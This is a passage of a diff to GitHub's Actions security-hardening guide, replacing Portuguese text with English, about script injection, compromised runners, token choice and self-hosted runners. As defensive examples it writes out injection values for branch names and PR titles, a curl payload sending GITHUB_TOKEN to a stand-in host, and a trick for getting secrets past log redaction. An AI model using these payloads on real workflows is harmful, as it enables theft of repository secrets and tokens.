código privilegiado do aplicativo, você pode ajudar a melhorar a segurança do seu uso de {% data variables.product.prodname_actions %}. Para informações sobre alguns dos passos que um invasor poderia dar, consulte ["Potencial impacto de um executor comprometido](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)". +In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. -Além disso, há outras fontes menos óbvias de entrada potencialmente não confiável como, por exemplo, nomes de branches e endereços de e-mail, que podem ser bastante flexíveis em termos de conteúdo permitido. Por exemplo, `zzz";echo${IFS}"hello";#` seria um nome de branch válido e seria um possível vetor de ataque para um repositório de destino. +The following sections explain how you can help mitigate the risk of script injection. -As seções a seguir explicam como você pode ajudar a mitigar o risco de injeção de scripts. +### Example of a script injection attack -### Exemplo de um ataque de injeção de script - -Um ataque de injeção de script pode ocorrer diretamente dentro do script embutido de um fluxo de trabalho. No exemplo a seguir, uma ação usa uma expressão para testar a validade de um título de pull request mas também adiciona o risco de injeção de script: +A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: {% raw %} ``` @@ -88,23 +88,23 @@ Um ataque de injeção de script pode ocorrer diretamente dentro do script embut ``` {% endraw %} -Este exemplo é vulnerável à injeção do script porque o comando `executar` é executado dentro de um script shell temporário no executor. Antes que o script shell seja executado, as expressões dentro de {% raw %}`${{ }}`{% endraw %} são avaliadas e, em seguida, substituídas pelos valores resultantes, o que pode torná-lo vulnerável à injeção de comando do shell. +This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. -Para injetar comandos neste fluxo de trabalho, o invasor pode criar um pull request com título de `a"; ls $GITHUB_WORKSPACE"`: +To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: -![Exemplo de injeção de script no título do PR](/assets/images/help/images/example-script-injection-pr-title.png) +![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png) -Neste exemplo, o caractere `"` é usado para interromper a declaração de {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %}, o que permite que o comando `ls` seja executado no executor. Você pode ver a saída do comando `ls` no registro: +In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: -![Exemplo de resultado da injeção de script](/assets/images/help/images/example-script-injection-result.png) +![Example result of script injection](/assets/images/help/images/example-script-injection-result.png) -## Práticas recomendadas para mitigar ataques de injeção de script +## Good practices for mitigating script injection attacks -Há uma série de diferentes abordagens disponíveis para ajudar você a mitigar o risco de injeção de script: +There are a number of different approaches available to help you mitigate the risk of script injection: -### Usando uma ação em vez de um script em linha (recomendado) +### Using an action instead of an inline script (recommended) -A abordagem recomendada é criar uma ação que processa o valor do contexto como um argumento. Esta abordagem não é vulnerável ao ataque de injeção, como o valor do contexto não é usado para gerar um script do shell, mas é passado para a ação como um argumento: +The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument: {% raw %} ``` @@ -114,11 +114,11 @@ with: ``` {% endraw %} -### Usando uma variável de ambiente intermediária +### Using an intermediate environment variable -Para scripts em linha, a abordagem preferida para manipular entradas não confiáveis é definir o valor da expressão para uma variável de ambiente intermediário. +For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. -O exemplo a seguir usa o Bash para processar o valor `github.event.pull_request.title` como uma variável de ambiente: +The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: {% raw %} ``` @@ -136,78 +136,78 @@ O exemplo a seguir usa o Bash para processar o valor `github.event.pull_request. ``` {% endraw %} -Neste exemplo, a injeção de script não tem sucesso: +In this example, the attempted script injection is unsuccessful: -![Exemplo de injeção de script mitigado](/assets/images/help/images/example-script-injection-mitigated.png) +![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png) -Com esta abordagem, o valor da expressão de {% raw %}`${{ github.event.issue.title }}`{% endraw %} é armazenado na memória e usada como uma variável e não interage com o processo de geração de script. Além disso, considere usar variáveis do shell de citação dupla para evitar [divisão de palavras](https://github.com/koalaman/shellcheck/wiki/SC2086), mas esta é [uma das muitas](https://mywiki.wooledge.org/BashPitfalls) recomendações gerais para escrever scripts de shell e não é específica para {% data variables.product.prodname_actions %}. +With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. -### Usar o CodeQL para analisar seu código +### Using CodeQL to analyze your code -Para ajudar você a gerenciar o risco de padrões perigosos o mais cedo possível no ciclo de vida do desenvolvimento, o Laboratório de Segurança de {% data variables.product.prodname_dotcom %} desenvolveu [as consultas do CodeQL](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) que os proprietários de repositórios podem [integrar](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) a seus pipelines CI/CD. Para obter mais informações, consulte "[Sobre a varredura de código](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)". +To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." -Atualmente, os scripts atualmente das bibliotecas JavaScript do CodeQL, o que significa que o repositório analisado deve conter pelo menos um arquivo JavaScript e que o CodeQL deve ser [configurado para analisar esta linguagem](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed). +The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed). -- `ExpressionInjection.ql`: Cobre as injeções de expressão descritas neste artigo e é considerada razoavelmente precisa. No entanto, ele não executa o rastreamento de dados entre as etapas do fluxo de trabalho. -- `UntrustedCheckout. l`: Os resultados deste script exigem revisão manual para determinar se o código de um pull request é realmente tratado de forma não segura. Para obter mais informações, consulte "[Manter o seu GitHub Actions e fluxos de trabalho seguro: impedindo solicitações pwn](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" no blogue {% data variables.product.prodname_dotcom %} do Laboratório de Segurança. +- `ExpressionInjection.ql`: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps. +- `UntrustedCheckout.ql`: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the {% data variables.product.prodname_dotcom %} Security Lab blog. -### Restringir permissões para tokens +### Restricting permissions for tokens -Para ajudar a mitigar o risco de um token exposto, considere restringir as permissões atribuídas. Para obter mais informações, consulte "[Modificar as permissões para o GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)". +To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)." {% ifversion fpt or ghec or ghae-issue-4856 %} -## Usando o OpenID Connect para acessar os recursos da nuvem +## Using OpenID Connect to access cloud resources {% data reusables.actions.about-oidc-short-overview %} {% endif %} -## Usando ações de terceiros +## Using third-party actions -Os trabalhos individuais em fluxo de trabalho podem interagir com (e comprometer) outros trabalhos. Por exemplo, um trabalho que consulta as variáveis de ambiente usadas por um trabalho posterior, que escreve arquivos para um diretório compartilhado que um trabalho posterior processa, ou ainda mais diretamente, que interage com o conector do Docker e inspeciona outros contêineres em execução e executa comandos neles. +The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. -Isso significa que comprometer uma única ação dentro de um fluxo de trabalho pode ser muito significativo, uma vez que essa ação comprometida teria acesso a todos os segredos configurados no seu repositório e pode usar o `GITHUB_TOKEN` para gravar no repositório. Consequentemente, há um risco significativo em fornecer de ações de repositórios de terceiros no {% data variables.product.prodname_dotcom %}. Para informações sobre alguns dos passos que um invasor poderia dar, consulte ["Potencial impacto de um executor comprometido](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)". +This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." -Você pode ajudar a mitigar esse risco seguindo estas boas práticas: +You can help mitigate this risk by following these good practices: -* **Fixe as ações para um commit SHA de comprimento completo** +* **Pin actions to a full length commit SHA** - Fixar uma ação para um commit SHA de comprimento completo é, atualmente, a única maneira de usar uma ação como uma versão imutável. Fixar um SHA em particular ajuda a mitigar o risco de um ator malicioso adicionar uma porta traseira ao repositório da ação, porque precisariam gerar uma colisão de SHA-1 para uma carga válida do objeto de Git. + Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% ifversion ghes < 3.1 %} {% warning %} - **Aviso:** A versão curta do commit SHA é insegura e nunca deve ser usada para especificar a referência do Git de uma ação. Devido ao modo como funcionam as redes de repositório, qualquer usuário pode bifurcar o repositório e fazer push de um commit criado que colida com o SHA curto. Isso faz com que os clones subsequentes falhem nesse SHA, pois se converte em um commit ambíguo. Como resultado, todos os fluxos de trabalho que usam o SHA encurtado falharão imediatamente. + **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail. {% endwarning %} {% endif %} -* **Audite o código-fonte da ação** +* **Audit the source code of the action** - Certifique-se de que a ação está tratando o conteúdo do seu repositório e os segredos, como esperado. Por exemplo, verifique se os segredos não são enviados para os hosts não intencionais, ou se não são registrados inadvertidamente. + Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. -* **Fixe ações em uma etiqueta apenas se confiar no criador** +* **Pin actions to a tag only if you trust the creator** - Embora a fixação de um commit de SHA seja a opção mais segura, especificar uma etiqueta é a opção mais conveniente, além de ser amplamente usada. Se você desejar de especificar uma etiqueta, certifique-se de que você confia nos criadores da ação. O selo "Criador verificado" em {% data variables.product.prodname_marketplace %} é um sinal útil, já que indica que a ação foi escrita por uma equipe cuja identidade foi verificada por {% data variables.product.prodname_dotcom %}. Observe que há risco para esta abordagem, mesmo que você confie no autor, porque uma etiqueta pode ser movida ou excluída se um ator malicioso obtiver acesso ao repositório que armazena a ação. + Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} -## Reutilizando fluxos de trabalho de terceiros +## Reusing third-party workflows -Os mesmos princípios descritos acima para o uso de ações de terceiros também se aplicam ao uso de fluxos de trabalho de terceiros. Você pode ajudar a mitigar os riscos associados à reutilização de fluxos de trabalho, seguindo as mesmas práticas recomendadas descritas acima. Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)". +The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} -## Possível impacto de um executor comprometido +## Potential impact of a compromised runner -Essas seções consideram alguns das etapas que um invasor pode dar se for capaz de executar comandos maliciosos em um executor de {% data variables.product.prodname_actions %}. +These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. -### Acessar segredos +### Accessing secrets -Os fluxos de trabalho acionados usando o evento `pull_request` têm permissões somente de leitura e não tem acesso a segredos. No entanto, essas permissões diferem para vários gatilhos de eventos, como `issue_comment`, `issues` e `push`, em que o atacante pode tentar roubar segredos do repositório ou usar a permissão de gravação do trabalho [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). +Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). -- Se o segredo ou token for definido como uma variável de ambiente, ele poderá ser acessado diretamente por meio do ambiente usando o `printenv`. -- Se o segredo for usado diretamente em uma expressão, o script do shell gerado é armazenado em disco e é acessível. -- Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo que obteve do argumento: +- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. +- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. +- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: {% raw %} ``` @@ -217,149 +217,151 @@ Os fluxos de trabalho acionados usando o evento `pull_request` têm permissões ``` {% endraw %} -Embora {% data variables.product.prodname_actions %} limpe os segredos da memória que não estão referenciados no fluxo de trabalho (ou uma ação incluída), o `GITHUB_TOKEN` e todos os segredos referenciados podem ser colhidos por um determinado invasor. +Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. -### Exfiltrar dados de um executor +### Exfiltrating data from a runner -Um invasor pode exfiltrar todos os segredos roubados ou outros dados do executor. Para ajudar a evitar a divulgação acidental de segredos, {% data variables.product.prodname_actions %} [removeu automaticamente segredos editados impressos no registro](/actions/reference/encrypted-secrets#accessing-your-secrets), mas esta não é uma verdadeira fronteira de segurança, porque os segredos podem ser enviados intencionalmente para o registro. Por exemplo, segredos ofuscados podem ser exfiltrados usando `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. Além disso, uma vez que o atacante pode executar comandos arbitrários, ele poderá usar solicitações HTTP para enviar segredos ou outros dados do repositório para um servidor externo. +An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. -### Roubar o trabalho do `GITHUB_TOKEN` +### Stealing the job's `GITHUB_TOKEN` -É possível para um invasor roubar o `GITHUB_TOKEN` de um trabalho. O executor de {% data variables.product.prodname_actions %} recebe automaticamente um `GITHUB_TOKEN` gerado com permissões limitadas apenas ao repositório que contém o fluxo de trabalho, e o token expira após a conclusão do trabalho. Uma vez expirado, o token não é mais útil para um invasor. Para contornar essa limitação, eles podem automatizar o ataque e executá-lo em frações de segundo chamando um servidor controlado pelo invasor com o token, por exemplo: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`. +It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`. -### Modificando os conteúdos de um repositório +### Modifying the contents of a repository -O servidor invasor pode usar A API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} para [modificar o conteúdo do repositório](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), incluindo versões, se as permissões atribuídas de `GITHUB_TOKEN` [não forem restritas](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token). +The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token). -## Considerar acesso entre repositórios +## Considering cross-repository access -O {% data variables.product.prodname_actions %} tem um escopo intencional para um único repositório por vez. O `GITHUB_TOKEN` concede o mesmo nível de acesso que um usuário com acesso de gravação, porque qualquer usuário com acesso de gravação pode acessar esse token criando ou modificando um arquivo de fluxo de trabalho{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevando as permissões do `GITHUB_TOKEN` se necessário{% endif %}. Usuários têm permissões específicas para cada repositório. Portanto, permitir que o `GITHUB_TOKEN` de um repositório conceda acesso a outro teria impacto no modelo de permissão de {% data variables.product.prodname_dotcom %} se não fosse implementado cuidadosamente. Da mesma forma, deve-se ter cuidado ao adicionar tokens de autenticação de {% data variables.product.prodname_dotcom %} a um fluxo de trabalho, porque isto também pode afetar o modelo de permissão de {% data variables.product.prodname_dotcom %} concedendo inadvertidamente amplo acesso aos colaboradores. +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. -Temos [ um plano no roteiro de {% data variables.product.prodname_dotcom %}](https://github.com/github/roadmap/issues/74) para suportar um fluxo que permite o acesso de todos os repositórios em {% data variables.product.product_name %}, embora ainda não seja um recurso compatível. Atualmente, a única maneira de executar interações privilegiadas entre repositórios é colocar um token de autenticação do {% data variables.product.prodname_dotcom %} ou chave SSH como um segredo dentro do fluxo de trabalho. Uma vez que muitos tipos de token de autenticação não permitem acesso granular a recursos específicos, há um risco significativo no uso do tipo incorreto de token, pois ele pode conceder acesso muito mais amplo do que o pretendido. +We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. -Esta lista descreve as abordagens recomendadas para acessar os dados do repositório dentro de um fluxo de trabalho, em ordem decrescente de preferência: +This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: -1. **O `GITHUB_TOKEN`** - - Este token recebe intencionalmente o escopo para o único repositório que invocou o fluxo de trabalho, e {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}pode ter {% else %}tem {% endif %}o mesmo nível de acesso que um usuário de acesso de gravação no repositório. O token é criado antes de cada trabalho começar e expira quando o trabalho é finalizado. Para obter mais informações, consulte "[Autenticação com o GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)". - - O `GITHUB_TOKEN` deve ser usado sempre que possível. -2. **Chave de implantação do repositório** - - Chaves de implantação são um dos únicos tipos de credenciais que concedem acesso de leitura ou gravação a um único repositório, e podem ser usadas para interagir com outro repositório dentro de um fluxo de trabalho. Para obter mais informações, consulte "[Gerenciar chaves de implantação](/developers/overview/managing-deploy-keys#deploy-keys)". - - Observe que as chaves de implantação só podem clonar e fazer push para o repositório usando o Git, e não podem ser usada para interagir com a API REST ou o GraphQL. Portanto, elas podem não ser apropriadas para os suas necessidades. -3. **Tokens de {% data variables.product.prodname_github_app %}** - - {% data variables.product.prodname_github_apps %} podem ser instalados em repositórios selecionados e até mesmo ter permissões granulares nos recursos dentro deles. É possível criar um {% data variables.product.prodname_github_app %} interno na sua organização, instalá-lo nos repositórios os quais você precisa acessar dentro do seu fluxo de trabalho, e autenticar como instalação dentro de seu fluxo de trabalho para acessar esses repositórios. -4. **Tokens de acesso pessoal** - - Você nunca deve usar tokens de acesso pessoais da sua própria conta. Esses tokens concedem acesso a todos os repositórios nas organizações às quais você tem acesso, bem como a todos os repositórios pessoais na sua conta de usuário. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Além disso, se você deixar uma organização mais adiante, os fluxos de trabalho que usam este token falharão imediatamente e a depuração deste problema pode ser difícil. - - Se um token de acesso pessoal for usado, ele deverá ser gerado para uma nova conta que só tenha acesso aos repositórios específicos necessários para o fluxo de trabalho. Observe que esta abordagem não é escalável e deve ser evitada em detrimento de alternativas, como as chaves de implantação. -5. **Chaves SSH em uma conta de usuário** - - Os fluxos de trabalho nunca devem usar as chaves SSH em uma conta de usuário. Semelhante aos tokens de acesso pessoais, eles concedem permissões de leitura/gravação a todos os seus repositórios pessoais, bem como a todos os repositórios aos quais você tem acesso por meio da associação à organização. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Se você pretende usar uma chave SSH porque você só precisa executar clones ou push do repositório, e não precisar interagir com APIs públicas, você deverá usar chaves de implantação individuais. +1. **The `GITHUB_TOKEN`** + - This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + - The `GITHUB_TOKEN` should be used whenever possible. +2. **Repository deploy key** + - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)." + - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. +3. **{% data variables.product.prodname_github_app %} tokens** + - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. +4. **Personal access tokens** + - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. + - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. +5. **SSH keys on a user account** + - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. -## Fortalecimento para executores auto-hospedados +## Hardening for self-hosted runners -Os executores ** hospedados em {% data variables.product.prodname_dotcom %}** executam o código dentro de máquinas virtuais efêmeras e limpas e isoladas. Isso quer isto dizer que não há maneira de comprometer persistentemente este ambiente ou obter, de outra forma, acesso a mais informações do que foram colocadas neste ambiente durante o processo de inicialização. +**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. -Executores **auto-hospedados** em {% data variables.product.product_name %} não têm garantias com relação ao funcionamento em máquinas virtuais limpas efêmeras e podem ser persistentemente comprometidos por código não confiável em um fluxo de trabalho. +**Self-hosted** runners on {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. -Como resultado, os executores auto-hospedados quase [nunca devem ser usados para repositórios públicos](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) em {% data variables.product.product_name %}, porque qualquer usuário pode abrir pull requests contra o repositório e comprometer o ambiente. Da mesma forma, tenha cautela ao usar executores auto-hospedados em repositórios privados, uma vez que qualquer pessoa que possa bifurcar o repositório e abrir um pull request (geralmente aquelas com acesso de leitura ao repositório) podem de comprometer o ambiente do executor auto-hospedado. incluindo obter acesso a segredos e ao `GITHUB_TOKEN` que{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, dependendo de suas configurações, pode conceder {% else %} permissões de gravação {% endif %}no repositório. Embora os fluxos de trabalho possam controlar o acesso a segredos de ambiente usando os ambientes e revisões necessários, estes fluxos de trabalho não são executados em um ambiente isolado e continuam sendo susceptíveis aos mesmos riscos quando são executados por um executor auto-hospedado. +As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. -Quando um executor auto-hospedado é definido no nível da organização ou empresa, {% data variables.product.product_name %} pode programar fluxos de trabalho de vários repositórios para o mesmo executor. Consequentemente, um compromisso de segurança destes ambientes pode ter um grande impacto. Para ajudar a reduzir o escopo de um compromisso, você pode criar limites organizando seus executores auto-hospedados em grupos separados. Para obter mais informações, consulte "[Gerenciando acesso a runners auto-hospedados usando grupos](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)". +When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." -Você também deve considerar o ambiente das máquinas de executores auto-hospedadas: -- Que informação sensível reside na máquina configurada como um executor auto-hospedado? Por exemplo, chaves SSH privadas, tokens de acesso à API, entre outros. -- A máquina tem acesso à rede a serviços sensíveis? Por exemplo, serviços de metadados do Azure ou AWS. A quantidade de informações confidenciais neste ambiente deve ser limitada ao mínimo, e você deve estar sempre ciente de que qualquer usuário capaz de invocar fluxos de trabalho terá acesso a esse ambiente. +You should also consider the environment of the self-hosted runner machines: +- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. +- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. -Alguns clientes podem tentar mitigar parcialmente esses riscos implementando sistemas que destroem automaticamente o executor auto-hospedado após cada execução do trabalho. No entanto, esta abordagem poderá não ser tão eficaz como pretendido, uma vez que não há forma de garantir que um executor auto-hospedado execute apenas um trabalho. Algumas tarefas usarão segredos como argumentos de linha de comando que podem ser vistos por outra tarefa executando no mesmo executor como, por exemplo, `ps x -w`. Isso pode gerar vazamento de segredos. +Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. -### Planejando sua estratégia de gerenciamento para executores auto-hospedados +### Planning your management strategy for self-hosted runners -Um executor auto-hospedado pode ser adicionado aos vários níveis na sua hierarquia de {% data variables.product.prodname_dotcom %}: empresa, organização ou repositório. Este posicionamento determina quem será poderá de gerenciar o executor: +A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: -**Gerenciamento centralizado:** - - Se você planeja ter uma equipe centralizada que detém os 